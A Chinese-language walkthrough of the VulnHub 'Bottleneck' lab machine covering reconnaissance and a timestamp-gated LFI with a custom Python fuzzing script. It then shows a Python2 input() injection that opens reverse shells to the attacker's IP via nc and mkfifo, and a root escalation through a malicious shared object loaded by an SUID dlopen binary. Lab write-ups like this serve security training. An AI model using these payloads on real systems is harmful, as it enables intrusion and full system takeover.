
靶机地址:
https://www.vulnhub.com/entry/bottleneck-1,374/
难度:中等
靶机发布日期:2019年9月28日
本文作者:
掣雷团队内部成员-ins1ght
作者CSDN博客:
https://blog.csdn.net/weixin_44214107
靶机描述:
Bottleneck is an intermediate boot2root machine.After some cyber attacks the admin hardened the system, show him that it's not so secure.If you need a hint feel free to contact me on Twitter: @bytevsbyt3
工具、知识点和漏洞
netdiscover
nmap
dirsearch
dirb
gobuster
metaspaloit
gcc
LFI漏洞
编写python脚本
python2 input漏洞getshell
0x00 信息收集
靶机IP:192.168.0.107
netdiscover -r 192.168.0.0/24

端口和服务
nmap -sS -sV -T4 -A -p- 192.168.0.107

页面、目录枚举
dirb http://192.168.0.107 -X .php,.txt,.zip,.html

python3 dirsearch.py -u http://192.168.0.109 -e .php,.txt,.zip,.html

gobuster dir -u http://192.168.0.107 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

枚举结果汇总
/css
/img
/js
/vendor
/index.php
/image_gallery.php
首页(index.php)

0x01 发现LFI漏洞
/image_gallery.php

发现这个img标签的src的值有点特别,对其进行base64解码,得到图片名称bottleneck_dontbe.png

在img目录可以正常访问该图片,且就是img标签显示的图片

使用firefox的开发者功能发现,每次访问
http://192.168.0.107/image_gallery.php页面时,
会发送一次请求
http://192.168.0.107/image_gallery.php?t=1570941505&f=Ym90dGxlbmVja19kb250YmUucG5n
并且返回的结果是png的数据流

猜测这里可能存在本地文件包含漏洞(LFI)
编辑请求参数的值,然后进行重发。最初用的是Burpsuite的Repeater模块,结果发现Response状态码是200,但并没有响应内容。

当然你也可以用firefox浏览器的开发者功能进行编辑重发,如下图所示

随后我使用浏览器的开发者功能对请求
http://192.168.0.107/image_gallery.php?t=1570941505&f=Ym90dGxlbmVja19kb250YmUucG5n
进行编辑重发。在编辑的过程中,我并未修改参数t和f的值,只是打开了编辑页面,然后直接点击了开发者功能板块右上角Send按钮,Response的状态码是200,但Content却是空的。随后我又多次访问image_gallery.php页面,观察请求png数据流的参数,发现参数t的值每次都发生变化
,并且与之前相同的是,重发后不再得到png的数据流,结合参数t的名称,我猜测这个参数t指的应该是time
。也就是说我们的t值必须与服务器上的时间计时器一致。

在Twitter上联系靶机作者,确认了我的推断,作者使用了时间戳

时间戳(timestamp)分析

从上图中两个时间戳(方框中的kali系统当前时间的时间戳,椭圆中的时间戳是靶机上的)可以看出,我的kali系统与靶机处于同一时区,这里由于手速的问题,两个时间戳的数值相差1。但我们可以基本断定:kali的系统时间与靶机的系统时间是一致的
,这也就解决了时间戳的问题。
这里给出我的kali系统的时区。小弟虽然英语没过4级,但用的语言却TM是英文,包括我的宿主机Ubuntu……有一点儿装了

针对这个漏洞我编写了一个Python脚本
#!/usr/bin/python# -*- coding: UTF-8 -*-import datetimeimport timeimport requestsimport base64import argparse# 发送请求def sendRequest(fuzzWordlist, url):wordlistFile = open(fuzzWordlist,'r')for line in wordlistFile.readlines():word = line.strip('\r').strip('\n')# 逐行对字典中的内容进行fuzz,需要先对字典中每一行内容进行base64编码payload = base64.b64encode(word.encode("utf-8"))# 获取时间戳(因为我的kali与靶机的系统时间一致,使用kali系统的当前时间生成的时间戳就是靶机上的时间戳),我的kali系统时间比大北京时间慢12小时dtime = datetime.datetime.now()t = int(time.mktime(dtime.timetuple()))# 命令行打印时间戳和base64编码的payloadprint 'timestamp:' + str(t)print 'base64:' + payloadtry:# 发送请求URL = urlprint URL# 定义参数PARAMS = {'t':t,'f':payload}r = requests.get(url = URL, params = PARAMS)# print r.textfile = open("/root/Desktop/response.txt", "a+")# 为了方便区分请求的返回结果,加了这个name = '--------' + word +' begin--------\r'file.write(name)file.write(r.content)name = '--------' + word +' end--------\r\r'file.write(name)file.close()except:passdef main():# 获取命令行输入的参数parser = argparse.ArgumentParser(description='timestamp')# 字典的物理路径 /usr/share/wordlist/fuzzlist/wordlist.txtparser.add_argument("--w")# 请求的url, http://192.168.0.107/image_gallery.phpparser.add_argument("--url")args = parser.parse_args()url = args.urlfuzzWordlist = args.w# 调用方法sendRequest(fuzzWordlist, url)if __name__ == '__main__':main()
测试过程中使用的字典如下:
bottleneck_dontbe.png/etc/passwd../../../etc/passwd../../../../etc/passwd
最开始字典文件里面只放了bottleneck_dontbe.png
一个payload,使用bottleneck_dontbe.png作为payload的目的是想测试一下脚本是否可用。由于我代码里是把获取到的response.content
保存到一个文本文件中了,所以获取到内容之后,直接修改文件类型为png,发现可以正常查看图片,说明脚本可用。
随后使用上面列表里的三个payload,每一个都得到了如下的结果,

图中的一些内容并不是response.content中的,只是为了测试方便自己增加的
说来你可能不信,得到上面的结果之后没一会儿,靶机的作者在Twitter上联系我,问我做的怎么样了,我自己都觉得意外,于是乎有了下面的对话

面对如此热心肠的大兄弟我怎么能不努力?随后我使用payload:
../image_gallery.php
读取了的源代码,关键部分如下

从源代码中可以知道还有一个页面image_gallery_load.php
,于是使用下面的payload一次性读取了下面三个文件的源代码:
../index.php../image_gallery_load.php../image_gallery.php
另外还有源代码开头的changlog
I've fixed that problem that @p4w and @ska notified me after hacker attack. Shit I'm too lazy to make a big review of my code. I think that the LFI problem can be mitigated with the
blacklist
. By the way to protect me from attackers, all malicious requests are immediately sent to theSOC
最终发现了关键部分是在image_gallery_load.php
<?phpfunction print_troll(){$messages = $GLOBALS['messages'];$troll = $GLOBALS['troll'];echo $messages[0];echo $troll;}$troll = <<<EOT<pre>_,..._/__ \>< `. \/_ \ |\-_ /:|,--'..'. :,' `._,' \_.._,--'' , |, ,',, _| _,.'| | |\\||/,'(,' '--'' | | |_ ||| | /-' || | (- -)<`._ | / /| | \_\O/_/`-.(<< |____/ /| | / \ / -'| `--.'|| | \___/ / /| | H H / | ||_|_..-H-H--.._ / ,| ||-.._"_"__..-| | _-/ | || | | | \_ || | | | | || | |____| | || | _..' | |____|| |_(____..._' _.' |`-..______..-'"" (___..--'<pre>EOT;if(!isset($_GET['t']) || !isset($_GET['f'])){exit();}$imagefile = base64_decode($_GET['f']);$timestamp = time();$isblocked = FALSE;$blacklist = array('/etc','/opt','/var','/opt','/proc','/dev','/lib','/bin','/usr','/home','/ids');$messages = array("\nLet me throw away your nice request into the bin.\n"."The SOC was informed about your attempt to break into this site. Thanks to previous attackers effort in smashing my infrastructructure I will take strong legal measures.\n"."Why don't you wait on your chair until someone (maybe the police) knock on your door?\n\n");if(abs($_GET['t'] - $timestamp) > 10){exit();}foreach($blacklist as $elem){if(strstr($imagefile, $elem) !== FALSE)$isblocked = TRUE;}// report the intrusion to the soc and save information locally for further investigationif($isblocked){$logfile = 'intrusion_'.$timestamp;$fp = fopen('/var/log/soc/'.$logfile, 'w');fwrite($fp, "'".$imagefile."'");fclose($fp);exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');print_troll();exit();}chdir('img');$filecontent = file_get_contents($imagefile);if($filecontent === FALSE){print_troll();}else{echo $filecontent;}chdir('../');?>
除了有backlist,还发现了有执行python脚本的代码
exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');
虽然我不知道ids_strong_bvb.py里面的内容是什么,但可以猜测是对soc日志文件进行处理,并将结果输出到/tmp/output
中。由于/tmp不在blacklist中,我们应该是可以读取这个文件的,问题就是“当前的位置(pwd)”是在/img目录下,我们应该向上跳几级目录才能到根目录下?
Linux中用
..
表示上一级目录,例如,我们当前在/img目录下,如果webroot是/var/www/html,那么从/img目录跳到上一级目录就到达了/html。在Linux命令行中相当于执行了cd ..
Linux shell中,
<
表示从文件中读取内容,结合到上面的代码就是从/var/log/soc/*文件中读取日志;>
表示向文件输出内容,结合到上面的代码就是输出脚本执行结果到/tmp/output文件
脚本的好处就是不需要人工一个一个去测试,使用前面的脚本,wordlist如下
/etc/passwd../tmp/output../../tmp/output../../../tmp/output../../../../tmp/output../../../../../tmp/output../../../../../../tmp/output../../../../../../../tmp/output../../../../../../../../../tmp/output/../../../tmp/output/../../../../tmp/output/../../../../../tmp/output/../../../../../../tmp/output/../../../../../../../tmp/output
最开始的时候上面列表中的payload全都获取不到数据,加上我没有仔细看image_gallery_load.php的源代码,误以为返回的结果只要是“丢垃圾”的那个图,那么就是payload不对。后来发现打印“丢垃圾”图的位置有两个,第一个是检测到参数f的值在blacklist中的时;第二个是参数f对应的文件为空时。而我正是中了“文件为空”的毒。
先仔细看下面两段代码
foreach($blacklist as $elem){if(strstr($imagefile, $elem) !== FALSE)$isblocked = TRUE;}// report the intrusion to the soc and save information locally for further investigationif($isblocked){$logfile = 'intrusion_'.$timestamp;$fp = fopen('/var/log/soc/'.$logfile, 'w');fwrite($fp, "'".$imagefile."'");fclose($fp);exec('python /opt/ids_strong_bvb.py </var/log/soc/'.$logfile.' >/tmp/output 2>&1');print_troll();exit();}
意思就是,在timestamp正确的情况下,如果被黑名单检测到,那么就会在/tmp/output文件中生成log。由于之前我们请求了/etc/passwd文件,所以/tmp/out里面有内容才对。可是现在为什么是空的呢?你可能想说,会不会是payload不对?wordlist里面我从向上一级目录到九级目录,这作者总不能变态到需要向上十级目录吧。所以我的结论是:虽然我不知道具体要向上多少级目录,但总在1~9之间。
那为什么文件是空的呢?被什么东西清空了呗!你还能想到其他的可能性吗?这也就是上面列表中为什么我的第一个payload是/etc/passwd。我故意先发送一个黑名单请求,让系统在/tmp/output里面生成日志,之后再读取。
python timestamp.py --w wordlist.txt --url http://192.168.0.107/image_gallery.php

对于用这个/tmp/output怎么反弹shell我是懵的。之前看过利用apache log文件、smtp log文件、ssh auth log文件来反弹shell,所以我这里硬着头皮也试了一下,结果头撞到铁板上了。

不过呢,我们仍然是有所收获的。从上图中看到当我们尝试使用payload:
/etc/passwd<?php system($_GET['cmd'])?>
发送请求之后,python脚本处理日志的时候出现了错误。因为实在不知道接下来怎么处理了,而且由于这个靶机是2019年9月28号发布的,到现在也才20天不到,网上搜Walkthrough也搜不到,做肯定是有人做出来的,只是可能没有把Walkthrough发布到网上,或者搜索引擎还没有收录(人生苦短,我用Google)所以只好到Twitter上询问靶机的作者。
我把我的思路和尝试过程跟作者说了一下,10小时后作者给了回复。

0x02 getshell
搜索"python2 input 漏洞
",阅读了以下文章:
secpulse:
https://www.secpulse.com/archives/75491.html
先知社区:
https://xz.aliyun.com/t/2289https://xz.aliyun.com/t/2289
暗月博客:
http://www.moonsec.com/post-717.html
cnblog:
https://www.cnblogs.com/heycomputer/articles/10537633.html
国外文章:
https://intx0x80.blogspot.com/2017/05/python-input-vulnerability_25.html
国外文章不知道没Tizi能不能正常访问……不过没关系,主要内容就是下面这张图里展示的

如果我们在知道pyhon2 input 函数存在漏洞的情况下,结合脚本的出错信息
data = str(input('report: ')
以及正常情况下写入的错误日志
report: [+] sending the message: /etc/passwd
就可以断定后续是利用input这个漏洞作文章了。
看过上面的文章之后我在自己的宿主机Ubuntu上进行了如下的尝试:

我先调用Python解释器与其进行交互,随后输入input()函数,接着输入了
__import__('os').system("uname -a")
意思是引入os模块,执行uname -a命令,查看内核信息。从结果上来看是执行成功了的;随后我想反弹shell到kali的1234端口,于是输入了
__import__('os').system("nc -e /bin/bash 192.168.0.108 1234")
,结果提示nc:无效选项-'e'
,一开始以为是我Ubuntu上的nc版本有问题,然后也没管。随后在kali上重复了反弹shell的操作,在Ubuntu上监听,结果就可以了。
后记:这里确实是Ubuntu上的nc的问题,安全起见,默认不允许使用
-e
选项


之后搜索了一下nc: invalid option -- 'e'
,最先发现了国内的这篇文章:
https://www.fengdingbo.com/netcat-invalid-option-e.html
但是在修复的过程中发现与我的实际情况有出入。

文中/etc/alternatives/nc
指向的是 /bin/nc.traditional
,而我这里的情况如上图所示。后来找到了StackExchange上的这个提问:
https://superuser.com/questions/691008/why-is-the-e-option-missing-from-netcat-openbsd

进行了尝试,还是不行,访问被拒绝。这个问题先放一放……至少在kali上是成功了的,相当于理论基础有了,哈哈哈

转入正题,第一次尝试反弹shell,失败。payload为:
/etc'__import__('os').system('nc -e /bin/bash 192.168.0.108 1234') and'

第二次尝试,失败。payload为:
/etc' and __import__('os').system('nc -e /bin/bash 192.168.0.108 1234') and'

看到上面的错误了没?是不是跟之前本地测试的时候一模一样,果然,你可以放过问题,但问题从来不会放过你
,哈哈哈。
第三次尝试,失败。payload为:
/etc' and __import__('os').system('rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 >/tmp/f') and'
这种方式也就是nc的正向shell。所谓正向是指,攻击机(kali)主动连接靶机上的shell。从操作顺序而言就是靶机先执行如下命令:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 >/tmp/f'
然后kali使用如下命令去连接靶机的shell:
nc 192.168.0.107 1234
接着我尝试了反向shell,也就是先在kali使用nc监听端口,然后靶机反弹shell,成功获取shell。payload为:
/etc' and __import__("os").system("rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.108 1234 >/tmp/f") and'

接收反弹的shell也可以用MSF
msfconsoleuse exploit/multi/handlerset payload cmd/unix/reverse_netcat_gapingshow optionsset lhost 192.168.0.108set lport 1234run

0x03 提权
关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py
https://github.com/sleventyeleven/linuxprivchecker
LinEnum.sh
https://github.com/rebootuser/LinEnum
如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html
先在kali上开启HTTP服务
python -m SimpleHTTPServer 65534
使用wget下载linuxprivchecker.py脚本到靶机的tmp目录
因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的
cd /tmpwget http://192.168.0.108:65534/Desktop/linuxprivchecker.py
为了便于查看收集到的信息,我将结果输出到report.txt文本中
python linuxprivchecker.py > report.txt
靶机做了这么些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本,因为脚本搜集的东西多到能让你看那么一会儿。
这里我先进行手动信息收集,过程如下:SUID权限可执行文件,除了发现/usr/bin/at
可疑,别的没啥
find / -perm -u=s -type f 2>/dev/null

使用searchsploit工具搜索 /usr/bin/at
但是这个漏洞是针对Tru64 Unix的
Tru64 UNIX is a discontinued 64-bit UNIX operating system for the Alpha instruction set architecture (ISA), currently owned by Hewlett-Packard (HP). Previously, Tru64 UNIX was a product of Compaq, and before that, Digital Equipment Corporation (DEC), where it was known as Digital UNIX (originally DEC OSF/1 AXP).
全局用户可写文件,发现一堆,但是极大多数都是没用的,所以我先把结果输出到文本文件,然后使用grep加上关键字去筛选。
find / -writable -type f 2>/dev/null >/tmp/report.txtgrep -Ev '/proc|/sys' /tmp/report.txt

查找sudo权限命令
sudo -l

发现clear_logs是一个软链接,实体文件为/opt/clear_logs.sh
,但是只有bytevsbyte
用户有修改权限

用linuxprivchecker.py跑一下 网络信息 lo:
flags=73<UP,LOOPBACK,RUNNING> mtu 65536
安装的软件 tcpdump 4.9.2-3 command-line network traffic analyzer Sudo version 1.8.27(最新的提权漏洞,但只影响小部分非标准配置的系统。我在自己的宿主机Ubuntu 18.04.3 LTS上测试成功。但是靶机上无法使用)

再用LinEnum.sh跑一下 /usr/bin/screen(exploit-db上PoC中的版本是4.05.00,而这里是4.06.02,你可能想试一下,但是靶机上没有安装gcc……)


现在能够想到的思路就是切换到bytevsbyte用户,然后看看/opt/clear_logs.sh能不能利用一下,/opt/clear_logs.sh应该是被计划任务调用的,没准对应的计划任务是root权限执行的。
关于如何切换到bytevsbyte用户,这里我们使用clear_logs这个软链接。通过执行sudo -l我们发现clear_logs可以被www-data用户无密码执行,但是(关键的东西总是从但是开始)只能作为bytevsbyte用户去执行,也就是说拥有的权限也只是bytevsbyte权限,而不是root权限。所以我们可以修改clear_logs软链接的指向,是其指向我们的脚本,随后运行clear_logs使www-data用户变成bytevsbyte。下面是过程:
kali创建文件clear_logs,开启HTTP服务,然后使用wget下载clear_logs到靶机,在使用wget下载的时候加上-O【大写英文字母O】选项将下载的文件“重命名”为clear_logs_copy,内容如下:
#!/bin/bash/bin/bash
cd /var/www/html/web_untilswget -O clear_logs_copy http://192.168.0.108/clear_logs
如果你想直接覆盖clear_logs软链接,你可能会遇到下图显示的权限问题

原因是:虽然www-data用户拥有clear_logs的所有权限,但是当我们覆盖clear_logs的时候实际上修改却是/opt/clear_logs.sh。这里的解决办法是先修改clear_logs软链接的指向,使其指向wget下载的文件clear_logs_copy。还有很关键的一步,记得要给clear_logs_copy赋予可执行权限,因为wget下载之后,clear_logs_copy并没有可执行权限。如果你没有给它可执行权限,那么在最后执行命令的时候,会出现下图中的错误,command not found:
赋予可执行权限
chmod 777 clear_logs_copy
使用ln -snf修改软链接的指向,使其指向我们的脚本。
ln -snf /var/www/html/web_utils/clear_logs_copy /var/www/html/web_utils/clear_logs

执行/var/www/html/web_utils/clear_logs,切换到bytevsbyte用户,随后我们读取到了bytevsbyte用户的flag
sudo后面一定要指定用户为bytevsbyte,不然会让我们输入www-data的密码
sudo -ubytevsbyte /var/www/html/web_untils/clear_logs


现在我们变成了bytevsbyte用户,还记得之前的思路吗?/opt/clear_logs.sh应该是被某个计划任务调用的,所以我这里执行crontab -l查看了计划任务,确实有一个计划任务调用/opt/clear_logs.sh,但是也只是bytevsbyte用户权限,而不是root用户权限。
crontab -l,如不指定用户,则显示的是当前用户的计划任务。
重新执行一遍查找SUID可执行文件的命令,发现/usr/test/testlib。
为什么要重新执行?因为文件有权限。www-data和bytevsbyte所属的用户组不同。bytevsbyte属于tester用户组,而只有tester用户可以读取/usr/test目录下的内容。

在SUID可执行文件的同目录下还有它的源代码,内容如下:
#include <dlfcn.h>#include <unistd.h>int main(int argc, char *argv[]){void *handle;int (*function)();if(argc < 2)return 1;handle = dlopen(argv[1], RTLD_LAZY);function = dlsym(handle, "test_this");function();return 0;}
首先程序需要一个用户输入的参数,否则直接返回1;然后将用户输入的参数作为动态链接库文件的名称,dlopen以指定模式打开动态连接库文件,并返回一个句柄给调用进程;dlsym通过句柄和连接符名称获取函数名或者变量名。
对这么“深入”的C语言代码不是很懂,我现在能够想到的方法就是:第一,找到靶机里面对应的动态连接库文件(可能有);第二,自己写出可以实现相同功能的C语言代码,然后编译成动态链接库文件;第三,可能这两个函数存在漏洞,可以构造特殊的字符串,以达到目的。
网上一番搜索找到如下exp,Github链接
下面是我们的程序test_this.c,这里需要我们修改函数的名称为test_this,必须是这个,因为/usr/test/testlib源代码里使用的函数名称就是这个。
#include <stdio.h>#include <stdlib.h>#include <sys/types.h>#include <unistd.h>void test_this(){setuid(0); setgid(0); system("/bin/sh");}
gcc编译时出现如下错误,原因是Github上的exp没有包含system函数的头文件,执行man system命令后,发现头文件为#include <stdlib.h>,添加头文件后,重新编译通过。
gcc -fPIC -shared test_this.c -o test_this.so


将我们的动态链接库文件下载到靶机,并赋予可执行权限,我直接给的777,随后运行/usr/test/testlib,成功提权
/usr/test/testlib /tmp/test_this.so





